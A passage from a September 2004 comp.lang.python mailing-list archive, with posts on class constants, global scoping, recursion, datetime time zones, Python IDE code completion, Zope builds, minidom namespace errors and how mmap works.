Subject: Constants in Python References: <Slb%c.389920$%_6.21712@attbi_s01> Message-ID: <4zb%c.320940$OB3.263474@bgtnsc05-news.ops.worldnet.att.net> "Brent W. Hughes" <brent.hughes at comcast.net> wrote in message news:Slb%c.389920$%_6.21712 at attbi_s01... > I was planning to write some code something like this: > class CTree: > LEAFSIZE = 4 > LeafNode = [None] * LEAFSIZE > KEY,DATA,LEFT,RIGHT = range(LEAFSIZE) > #--------------------------------------------------- > def Add(self,Node,SubTree): > Key1 = Node[KEY] > But then I realized that the last line (and many more similar lines) > would probably need to be writen thusly: > Key1 = Node[CTree.KEY] How about this? Key1 = Node[self.KEY] Seems consistent with other class-relative usages. From len-1 at telus.net Sat Sep 4 13:11:53 2004 From: len-1 at telus.net (Lenard Lindstrom) Date: Sat, 04 Sep 2004 17:11:53 GMT Subject: Trouble accessing global vars References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com> Message-ID: <brgmuike.fsf@telus.net> Fernando Rodr?guez <fernandoSPAM.YOURSELF at fernando-rodriguez.com> writes: > Hi, > > I haven't used Python in quite some time, and I'm bit puzzled by this: > > counter = 0 > > class Blah(object): > def run(self): > counter += 1 > > b = Blah() > b.run() > > Traceback (most recent call last): > File "<pyshell#53>", line 1, in -toplevel- > b.run() > File "<pyshell#51>", line 3, in run > counter += 1 > UnboundLocalError: local variable 'counter' referenced before assignment > > However, counter is not a local var, it's a global one. :-? Shouldn't this > work? Name counter has to be declared global in method run: class Blah(object): def run(self): global counter counter += 1 The augmented assignment statements such as counter += 1 bind a name to a value. Binding a name within a function block makes the variable local by default. Lenard Lindstrom <len-l at telus.net> From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Fri Sep 3 18:46:00 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sat, 4 Sep 2004 00:46:00 +0200 Subject: Encoding problems References: <mailman.2782.1094151426.5135.python-list@python.org> <ch7t8s$tvq$1@news-reader4.wanadoo.fr> <mailman.2787.1094157018.5135.python-list@python.org> <41378609$0$24820$9b622d9e@news.freenet.de> <mailman.2815.1094201367.5135.python-list@python.org> <ch9u9i$rho$1@zeppelin.rz.uni-potsdam.de> Message-ID: <chas8d$8n9$1@news-reader2.wanadoo.fr> Bonsoir ! Le code-page de l' iso-8859-2 doit ?tre le 912 (d'apr?s Google) iso-8859-2 <==> cp912 @-salutations -- Michel Claveau From python-url at phaseit.net Tue Sep 7 17:08:04 2004 From: python-url at phaseit.net (Cameron Laird) Date: Tue, 07 Sep 2004 21:08:04 GMT Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 7) Message-ID: <chl5st$v8h$1@lairds.us> QOTW: "The Canvas widget has amazed me with its flexibility and power: I love it!" -- Marc Boeren "For some kind of applications (namely application doing vector drawing), it is nearly impossible to consider anything else than Tkinter *because* of the Canvas widget..." -- Eric Brunel Unit testing lies near Pythonia's heart. Tim Peters and Michele Simoniato exhibit modern ways of thinking about doctest and unittest. http://groups.google.com/groups?frame=left&th=461cc8799e9fe825 Hyperlink extraction is one of the examples the pyparse distribution works out. http://groups.google.com/groups?frame=left&th=55d9cd9980ca727c Guido speaks--on decorators, J2, and how to steward Python responsibly. Important reading: http://article.gmane.org/gmane.comp.python.devel/63486 Jonathon Ellis automates RSS for Python job listings. http://groups.google.com/groups?selm=mailman.2701.1093995339.5135.python-announce-list%40python.org The state-of-Python-art under MacOS advances rapidly. Here's how to access a keychain: http://bdash.bluewire.net.nz/2004/08/30/example-code-mac-os-x-keychain-access-from-python/ ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to <Python-URL at phaseit.net> should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask <claird at phaseit.net> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From saravanan.d at siemens.com Thu Sep 2 03:42:31 2004 From: saravanan.d at siemens.com (Saravanan D) Date: Thu, 2 Sep 2004 13:12:31 +0530 Subject: Require Debug Version of Pywin32 Build 163 Message-ID: <ch6j1k$t0d$2@news.mch.sbs.de> Hello, I urgently requires the Pywin32 Build 163 (win32all package) in debug version along with the source code. I tried to get the code from sourceforge.net CVS server. But unfortunately due to some problems i could not able to get the same. Can any one provide the sourcecode along with debug binaries ? Please send the same to my email id. durai_saravanan at rediffmail.com Thanks Saravanan From heikowu at ceosg.de Mon Sep 20 05:57:47 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 11:57:47 +0200 Subject: python is going to die! =( In-Reply-To: <KZr3d.53$3Y2.19@fe61.usenetserver.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <KZr3d.53$3Y2.19@fe61.usenetserver.com> Message-ID: <200409201157.48869.heikowu@ceosg.de> Am Montag, 20. September 2004 05:17 schrieb Hans Nowak: > julio wrote: > > -- C # is killing python, first the gnome guys dont know what to choose > > for their core system development , if mono-C # ? or java ? the only > > reason C # hasnt being choosen is because of legal issues, and java? well > > it realy sucks so no surprise , but is considered just because eclipse > > wich is the most kick ass ide ever. AND they dont even consider python > > for a high level language to choose!! > > If they're choosing between Java and C#, they were obviously not interested > in high-level languages. Also, the article you mention in another post > (http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm) > says: > > """Waugh conceded that the decision to move to a higher level programming > language is partly a political one. Two major corporate backers of the > GNOME project have competing technologies -- Novell with the Mono project > and Sun Microsystems with Java.""" <quote> "In the meantime a lot of software has been written in Python," he said. "But, as yet we have not written anything in the official GNOME release in a language other than C. We have included bindings for Java, so you can use the GNOME libraries directly from Java which means you don't have to use that awful Swing. We also have C++, Perl and Python bindings. All are supported we just haven't committed to any of them yet for core GNOME modules." </quote> (from just that same article you quoted) I wonder what this comment means? Python is mentioned as the first language by GNOME's head maintainer, so I guess he can't be all that Python-hostile, can he? Much rather, he's forced to do a political decision, and the PSF doesn't fund GNOME yet, I hope. I wouldn't mind them funding KDE e.V., though... Let the flamewars begin. ;) Heiko. From ml at dynkin.com Fri Sep 17 03:22:54 2004 From: ml at dynkin.com (George Yoshida) Date: Fri, 17 Sep 2004 16:22:54 +0900 Subject: Recursive function not returning value In-Reply-To: <10kl34qereo06ac@corp.supernews.com> References: <10kl34qereo06ac@corp.supernews.com> Message-ID: <cie3au$2efg$1@dojima-n0.hi-ho.ne.jp> Derek Rhodes wrote: > OK, I have a recursive function that should return a list, but doesn't > > <start session> > > def test(word): > if type(word) == str: > print "it's a word" > test([word]) > > if type(word) == list: > print "The conditional worked, see ->", word > return word > > What am I missing? You are forgetting to return the value. change this part :: if type(word) == str: print "it's a word" test([word]) to if type(word) == str: print "it's a word" return test([word]) # return the result of test([word]) George From __peter__ at web.de Wed Sep 8 04:15:52 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 08 Sep 2004 10:15:52 +0200 Subject: Property confusion References: <mailman.3023.1094630531.5135.python-list@python.org> Message-ID: <chmf3o$kme$06$1@news.t-online.com> kepes.krisztian wrote: [Same old question under a new subject] If you don't receive an answer within a reasonable time span you should consider rephrasing the problem, not just the header. I tried the code you gave and could not perceive any difference in the output of the two snippets. Maybe you can post an interactive session with just the statements that produce different output? Or you rename one class, to B, say, and add an assertion you expect to succeed but which fails, e. g.: class A(object): #... class B(object): #... assert A().some_attr == B().some_attr Peter From aleaxit at yahoo.com Mon Sep 6 09:21:12 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 15:21:12 +0200 Subject: open default MUA with a hyper link References: <chalvm$1944$1@biggoron.nerim.net> <mailman.2850.1094246310.5135.python-list@python.org> <chh9lt$imf$1@e3k.asi.ansaldo.it> <1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com> <chhjg9$dqc$1@e3k.asi.ansaldo.it> Message-ID: <1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com> Nemesis <nem at nowhere.invalid> wrote: > "Alex Martelli" wrote: > > [mailto trick] > >> How can I use this syntax in order to specify also the body of the > >> mail? > > Study the mailto: syntax on any HTML reference, e.g. > > http://docs.intellifuzz.com/readmore.php?p=39 > > Thank you for the link. > I tried that syntax, but it seems that Internet Explorer > doesn't support multiline bodies :-/ Your choice is then to either upgrade to a better browser (IE has been stagnant in features for years, resting on its laurels) or to drive IE more intimately and "proprietarily" -- with win32com you can probably make it turn somersaults, although your hair will whiten considerably while you learn how to do so. Alex From info at pythonbyte.com Wed Sep 29 23:01:25 2004 From: info at pythonbyte.com (Mark J. Nenadov) Date: Wed, 29 Sep 2004 23:01:25 -0400 Subject: python connection to mssql from windows box References: <mailman.4112.1096509934.5135.python-list@python.org> Message-ID: <pan.2004.09.30.03.01.25.169419@pythonbyte.com> On Wed, 29 Sep 2004 21:05:32 -0500, Josh Close wrote: > Is there a python module that uses the mssql client tools to connect > to mssql? When you install php on windows and you want mssql > connectivity, you need the client tools and it uses that api to > connect. > > I know there is an ADO connection for postgres to connect from > windows, but that's different. Is there anything like this for python? > > -Josh Josh, I think you will either need to: A. use win32com to call ADO or B. use odbc - - Mark J. Nenadov http://www.pythonbyte.com From aleaxit at yahoo.com Sun Sep 5 16:36:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 22:36:29 +0200 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <mailman.2807.1094184160.5135.python-list@python.org> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> <mailman.2884.1094342981.5135.python-list@python.org> Message-ID: <1gjnvmh.rtkuby1uovodkN%aleaxit@yahoo.com> Tim Peters <tim.peters at gmail.com> wrote: > [Tim Peters, on the demise of doctest.master] > >> Under a hopeful belief that nobody was using that anyway, I didn't > >> gripe when Edward refactored it out of existence. This is the first > >> time we've heard that anyone *was* using it! > > [Alex Martelli] > > I guess gmpy just wasn't on your radar...! If you have no need for its > > multi-precision and special-functions support, that's unsurprising. > > Since I live on Windows most of the time, I use Marc-Andre Lemburg's > mxNumber. That comes with a pre-built GMP, so is that much less for So does gmpy in the prebuilt-for-Windows version, btw. I may even have snagged that from Marc Andre's package at some time in the past... > me to screw up. I generally don't run package test suites on Windows > anyway (the odds that something is uniquely broken on my particular > WIndows box are too low). Hmmm -- what you mean by Windows and what I mean by Windows must be very different OS's. Has DLL Hell disappeared since I finally stopped working as a Windows guru and turned to Linux, Mac OS X, OpenBSD and other OS's...?-) > >> I suppose we could hack one back in, but I'd rather volunteer to > >> rewrite the gmpy tests to use the stronger 2.4 gimmicks ... > > > Thanks, your offer is welcome and gladly accepted -- as long as all the > > tests keep running under 2.3 just as well, of course. There will be a > > lot of 2.3 around for a long time -- for example, Apple isn't going to > > change the Python version they use in Panther, which is 2.3, at least > > until they come out with Tiger, say in May next year, and since, as > > usual, they'll change $150 or so for the OS upgrade, many people will > > just keep running Panther (and therefore Python 2.3). Etc, etc. > > Nothing against 2.3 here, it's simply a surprise that anyone was using > doctest.master. SourceForge is down at the moment, so I still don't > know whether gmpy's use was essential or shallow. If it was > essential, we'll have to hack a master workalike back in. Probably shallow. Anyway, I'll be glad to mail you a gmpy package if SF keeps giving problems, let me know! > It could be too that many projects stumbled into using doctest.master, > but none yet bothered to try the 2.4 prereleases. I hadn't, for example -- even though I've been current on 2.4 for a long time, I hadn't thought of building gmpy for it (shame on me!). > > I do assume that it's easy to keep the hundreds of tests almost > > unchanged, to avoid having to maintain them separately in two > > versions, and support 2.3 and 2.4 with localized changes to the > > small spots where the tests are run...? > > It should be easy indeed. Edward Loper and Jim Fulton (by way of > Zope3) had thousands of doctests between them, and Python's test suite > has more than a few too. None of those doctests had to be changed in > any way. But none of them used doctest.master. Ah... well, let's hope my use was indeed shallow! > This next *may* be relevant to gmpy. I'm aware of it but haven't seen > an instance of it: > > """ > >>> 1/0 > Traceback (most recent call last): > abc > ZeroDivisionError: integer division or modulo by zero > """ > > That doctest passes before 2.4, but no longer. I don't want to "fix" > that, either, if someone has code like this. ... > Bottom line is that such tests (if any exist) need to be rewritten. > Starting the "abc" lines with one or more blanks is sufficient so that > the test passes under all versions of doctest. OK, inserting blanks if needed doesn't seem too difficult a fix, I agree! Alex From jdhunter at ace.bsd.uchicago.edu Thu Sep 16 09:45:52 2004 From: jdhunter at ace.bsd.uchicago.edu (John Hunter) Date: Thu, 16 Sep 2004 08:45:52 -0500 Subject: datetime and tzinfo In-Reply-To: <m2oek6tjnz.fsf@mother.paradise.lost> (John Hunter's message of "Thu, 16 Sep 2004 08:42:08 -0500") References: <m2oek6tjnz.fsf@mother.paradise.lost> Message-ID: <m2llfatjhr.fsf@mother.paradise.lost> >>>>> "John" == John Hunter <jdhunter at nitace.bsd.uchicago.edu> writes: John> I am using the tzinfo classes from the datetime docs, eg John> UTC, USTimeZone, and the instantiations Pacific, Central, John> Eastern, etc. I would like to take a datetime instance in John> the UTC timezone and construct the equivalent in another John> time zone. OK, I'm a moron. There is something magical about the send button. I can study the docs for an hour, try 18 different things, fail repeatedly, write a post describing my problem, and then after that any 5 second glance back at the docs is guaranteed to reveal the solution dt2 = dt1.astimezone(Central) Sigh.... From john.thingstad at chello.no Thu Sep 2 10:17:30 2004 From: john.thingstad at chello.no (John Thingstad) Date: Thu, 02 Sep 2004 16:17:30 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <opsdpdzglzpqzri1@mjolner.upc.no> On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: > On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. > Kennedy" <jwkenne at attglobal.net> wrote: > >> Andre Majorel wrote: >>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: >>> >>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, >>>> Andre Majorel <amajorel at teezer.fr> wrote: >>>> >>>> >>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote: >>>> >>>>>> Windows (MS) is not 'Unixism'? >>>>> >>>>> If by unixism, you mean any operating system that has a >>>>> hierarchical filesystem and byte stream files, yes. But that >>>>> would include quite a few other non-Unix operating systems, >>>>> including Mac OS 9, Prologue and probably everything else this >>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M). >>>> >>>> DOS 2.x+ shall be deemed to be CP/M+! >>> >>> >>> Wasn't it in version 2 that they added directories and >>> Unix-style file handles ? >> >> Yes, and also a single-process pipe emulator. Ever since 2.0, MS has >> been trying to turn MS-DOS (later, Windows) into a Unix clone. > > MS has been borrowing code from Unix to create a real OS: TCP/IP; > NTFS<-ffs; memory mapped files<-mmap. > Shame they keep trying to add their own ideas in too: that must be > what causes the crashes! > You seeem misinformed. Microsoft swallowed up a team from DEC. The were developing a operating system called PRISM. When the project was cancelled they quit DEC in protest. These peaple had more than a 100 years of experience in developing muliuser / mutitasking operating systems between them. The fact that the NT kernel is not entirely stable yet really shouldn't supprise anyone. Afterall Unix has messed with it's kernel for 30 years. But the modular arcitecture and the microkernel are new ideas in OS design and should in time lead to a more extensible OS than unix. (Unix tradionally has a spagetti of intercalling function calls as a kernel.) As for following standards thats just plain sense. Note the Mac OS 10 / Darwin uses a unix kernel because of all the problems with interoperabillity OS 9 had with talking to Windows and Unix boxes. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From xv0017python at yahoo.com Wed Sep 15 11:57:09 2004 From: xv0017python at yahoo.com (andresm) Date: 15 Sep 2004 08:57:09 -0700 Subject: i am going to get crazy!!! References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <1095228220.28128.71.camel@devilbox.devilnet.internal> <mailman.3350.1095230449.5135.python-list@python.org> Message-ID: <4a9d4c93.0409150757.2015bbbb@posting.google.com> Steven Bethard <steven.bethard at gmail.com> wrote in message news:<mailman.3350.1095230449.5135.python-list at python.org>... > Cliff Wells <clifford.wells <at> comcast.net> writes: > > > > I don't know if this is any good, but since you like Eclipse: > > > > http://sourceforge.net/projects/pyeclipse/ > > Actually, if you like Eclipse, I'd suggest pydev: > > http://pydev.sourceforge.net/ > > It's actually still updated from time to time (last in July of this year), and > I've played around with it a little back when I had to write in Java (ugh!) > and it did integrate pretty well with Eclipse. If I remember right though, it > doesn't use the code-completion that all the wxPython based apps do... > > Steve Sorry for my bad english =( i am from bolivia plus i havent sleeped at all last night plus i am kind of disapointed. I am not interested in gui design in particular, the only thing i want in an ide is that it have full code completion like i tried to describe with that mess of words =P i will try to refactor: -------------------------------- case 1 ---------------------------- if i am learning how to use the sys module in my code,then i type: sys . A list should appear showing me all the attributes of the module or class : variables,locals,globals,builtins,etc. like typing dir(sys) or sys.__dict__ when i focus on one item in the list of attributes , for example " setprofile " method of the sys module, the documentation of the method should appear in another popup ----------------------------------- case 2---------------------------- I dont have an ide that suports this feature , so i have to press alt+tab to go to the shell ( ipython is spectacular) type help(sys) , look for the member i want, in this case the set profile builtin function , or i type help(sys.setprofile) or i type sys. +tab and i python ' shows me all the members of' sys modules, Then i have to go back to editor and keep writing ------------------------------------ conclusion ------------------------ with an ide i can scan object's behavior and their members's doc in 1.5 seconds while not changing the enviroment , in situa tion 2 i can do exactly the same, just that it takes 5 to 10 sec which is way to much time for an operation i do so so frecuently This is an example of how an ide makes a huge diference . This is the only feature i want in an ide, it saves tons of time ------------------------------------------------------------------------------------------------ If you still havent tried a ' powerfull ide' please try downloading netbeans and coding a simple class : http://www.netbeans.org/downloads/index.html I have tried a number of python ides, and eclipse-plugins for python, all the eclipse plugins are abandoned or are just text editors with sintax highlinting , none of the ides i tried fully suport full code completion dot-trigered with docstring thing, i have tried: Pycrust or py, komodo , wingide , kate , spe , boa ,idle, drpython, eric3 , blackader , scite , etc and no luck. Komodo is 100% the best but it still lacks a litle and it totaly SUCKS for linux , and is beautifull for windows. I am sure most people have used this kind of code completion - help system since it is part of many ides, like netbeans, eclipse , zend studio , jcreator , sharp develop , .net , etc. But the question again, how do you remember all methods,attributes,parameters , builtins , etc without code completion-calltip-auto doc help of any modern ide? except python ones =( Are you in case 1 ? cause is too time consuming From gandalf at geochemsource.com Thu Sep 2 13:13:26 2004 From: gandalf at geochemsource.com (Gandalf) Date: Thu, 02 Sep 2004 19:13:26 +0200 Subject: Tuple question In-Reply-To: <opsdpk6kx9433nmu@news.cisco.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <opsdpkf1d5433nmu@news.cisco.com> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <opsdpk6kx9433nmu@news.cisco.com> Message-ID: <413754B6.4040005@geochemsource.com> > users = ['admin', 'user1', 'user2'] > address = ('www.python.org', 80) > > index and count only make sense when the collection is homogeneous. > Therefore they are not defined for tuple. Why? address = ['www.python.org',80] A list can hold any kind of objects. I think that the 'index' method for tuples would be a good idea. From b.niemann at betternet.de Tue Sep 14 05:52:42 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Tue, 14 Sep 2004 11:52:42 +0200 Subject: Comparing perfs of two python interpreters on the same Linux machine (for Zope) In-Reply-To: <26196943.0409140117.1508f5eb@posting.google.com> References: <26196943.0409140117.1508f5eb@posting.google.com> Message-ID: <ci6f1b$9qo$1@online.de> Vbfoo Bar wrote: > Hello, > > To implement a Zope intranet on a linux RedHat ES 3, I had to > install a Python 2.3.4 that I have compiled myself. > > I would like to compare the respective performance of this > python interpreter and that of the Python provided by RedHat > (just a little bench program would be sufficient) as I suspect > the binary Python 2.3.4 (or just the Zope?) I have produced is > very inefficient (very very slow!). > > Additional info below. Thanks by advance for your advice. > > The python binaries on my machine: > ================================== > The python that comes with RedHat ES 3 (this is a Python 2.2.3): > -rwxr-xr-x 2 root root 795584 Aug 8 2003 /usr/bin/python > > The python I have compiled myself (Python 2.3.4, required and used > by Zope/plone): > -rwxr-xr-x 1 root root 2265733 Jun 25 14:58 > /usr/local/bin/python2.3 > > (Note that the binary sizes are very different: is this suspect?) > > How I produced my (apparently inefficient binaries): > ==================================================== > For python: > [root# wget http://www.python.org/ftp/python/2.3.4/Python-2.3.4.tgz > [root# ./configure > [root# make ; make install > > For zope: > $ ./configure --prefix=/usr/local/zope-2.7.1-0 > --with-python=/usr/local/bin/python2.3 > $ make > $ make install The size difference is probably caused by debug informations (look the -g option in the calls to cc and ln while compiling python). This should not cause any difference in runtime performance. The RedHat package probably uses non-default compiler options to tune performance. You could fetch the source rpm for RedHats Python, build it (what ever tool you need to build binaries from srpm.. I use Debian ;) and look for options used by RedHat. Apply them when you configure your python CGLAGS="-O2 -march=i686 -omit-framepointer" ./configure (just an example from the very far back of my head, have not done C stuff for quite a long time and the options probably look very different..) From pink at odahoda.de Wed Sep 15 14:36:57 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Wed, 15 Sep 2004 20:36:57 +0200 Subject: Convert Dictionary to String, vice versa? In-Reply-To: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> Message-ID: <cia22m$a9o$01$1@news.t-online.com> Byron wrote: > Hello, > > I am a newbie and would like to know if it is possible to convert a > string back to a dictionary? > > For example, I can convert a dictionary to a string by doing this: > > >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} > >>> strNames = str(names) > >>> print strNames > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} > > However, is there a way to convert a string back to a dictionary? No way that I would know of. What is your intention? Does the exact format of the string representation matter? If not, take a look at the pickle module. From abra9823 at mail.usyd.edu.au Thu Sep 9 00:34:16 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 9 Sep 2004 14:34:16 +1000 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: <RQB%c.26808$Z14.8877@news.indigo.ie> References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> <mailman.3019.1094619792.5135.python-list@python.org> <RQB%c.26808$Z14.8877@news.indigo.ie> Message-ID: <1094704456.413fdd48349c1@www-mail.usyd.edu.au> hi! Quoting Alan Kennedy <alanmk at hotmail.com>: > [Ajay] > > i have tried the archives now and heaps of Google searches but am no > closer > > to finding out what the error is. > > > > the error does not appear if i use expat. > > and > > >>i am parsing the attached document. > >>the code is > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc') > >>ruleSet = parse(ruleSetFile, parser=parser) > > >>i get the following error > >> > >>Traceback (most recent call last): > >> File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line > 98, > >>in startElementNS > >> prefix = self._current_context[a_uri] > >>KeyError: u'http://www.w3.org/2001/02/appelv1' > > Since I can't see your document, I can't say for sure. > > But by the look of that traceback, you have neglected to declare a > namespace in your XML document. The error appears to occur when the > parser is looking for the "namespace prefix" associated with the > namespace URI "http://www.w3.org/2001/02/appelv1". > > Post an example document if I'm wrong. i do have the namespace prefix defined. an example document is below <?xml version="1.0" encoding="UTF-8"?> <appel:RULESET xmlns:p3p="http://www.w3.org/2000/12/p3pv1" xmlns:appel="http://www.w3.org/2001/02/APPELv1"> <appel:RULE behavior="block" description="Any marketing must be opt-in with prompt|Data-Type|Any" prompt="yes" promptmsg="Your privacy agent has detected a site which will use your data for marketing if you agree to it - do you want to go to this page"> <p3p:POLICY> <p3p:STATEMENT> <p3p:PURPOSE appel:connective="or"> <p3p:telemarketing required="opt-in"/> <p3p:contact required="opt-in"/> </p3p:PURPOSE> </p3p:STATEMENT> </p3p:POLICY> </appel:RULE> <appel:RULE behavior="block" description="No compulsary marketing" prompt="no"> <p3p:POLICY> <p3p:STATEMENT> <p3p:PURPOSE appel:connective="or"> <p3p:telemarketing required="always"/> <p3p:contact required="always"/> </p3p:PURPOSE></p3p:STATEMENT></p3p:POLICY></appel:RULE> <appel:RULE behavior="block" description="Blocked because site will use your information for marketing purposes on an opt-out basis." prompt="no"> <p3p:POLICY> <p3p:STATEMENT> <p3p:PURPOSE appel:connective="or"> <p3p:telemarketing required="opt-out"/> <p3p:contact required="opt-out"/> </p3p:PURPOSE></p3p:STATEMENT></p3p:POLICY></appel:RULE> </appel:RULESET> thanks cheers > > -- > alan kennedy > ------------------------------------------------------ > email alan: http://xhaus.com/contact/alan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From rschroev_nospam_ml at fastmail.fm Thu Sep 16 16:08:50 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Thu, 16 Sep 2004 20:08:50 GMT Subject: python: ascii read In-Reply-To: <mailman.3409.1095351473.5135.python-list@python.org> References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> <mailman.3409.1095351473.5135.python-list@python.org> Message-ID: <mpm2d.248302$4a4.12699742@phobos.telenet-ops.be> Brian van den Broek wrote: > But I don't really feel I've a handle on the significance of saying it > maps the file into memory versus reading the file. The naive thought is > that since the data gets into memory, the file must be read. But this > makes me sure I'm missing a distinction in the terminology. Explanations > and pointers for what to read gratefully received. Eventually the file is read, of course (or at least parts thereof). Mmap is a feature of the virtual memory system in modern operating systems, so you need a basic understanding of virtual memory in order to understand mmap. All details can be found e.g. in Modern Operating Systems by Andrew Tanenbaum. http://mirrors.kernel.org/LDP/LDP/tlk/tlk.html does a good job explaining how Linux handles it,, but I'll try to explain the general basics here in short. With virtual memory systems, the addresses that are used by application programs don't refer directly to memory locations. Instead the addresses are split in two parts; the first part is a page number, the second is the offset of the memory location in the page. The system keeps a list of all pages. When an address is referenced, the page is looked up in that list (Pages are blocks of memory, typically 4-8 kB). There are two possibilities: - The page is already in memory. In that case, the list contains the real physical address of the page in memory. That address is combined with the offset to form the physical address of the memory location. - The page is not in memory. The virtual memory system loads it in memory and stores the physical address in the list. Processing then continues as in the other case. Note that it may be necessary to remove another page from memory in order to load a new one; in that case, the other page is paged to disk if it is still needed so that it can be read again later. This behind-the-scenes translation and paging to and from disk is what allows modern operating systems to use much more memory than what's physically available in the system. mmap creates an entry in the list that says the page is not in memory, but tells the system what file to load it from: a range of addresses is 'mapped' to the data in the file. It also returns the logical address of the data. When an address in the range is referenced, the virtual memory system loads the appropriate page from disk (or possibly more than one page at the time, for efficiency reasons) to memory and stores its (theirs) location in the list. An application program can access exactly the same way as any other part of memory. > And, since mmap behave differently on different platforms, I'm mostly a > win32 user looking to transition to Linux. I think Python hides much of the 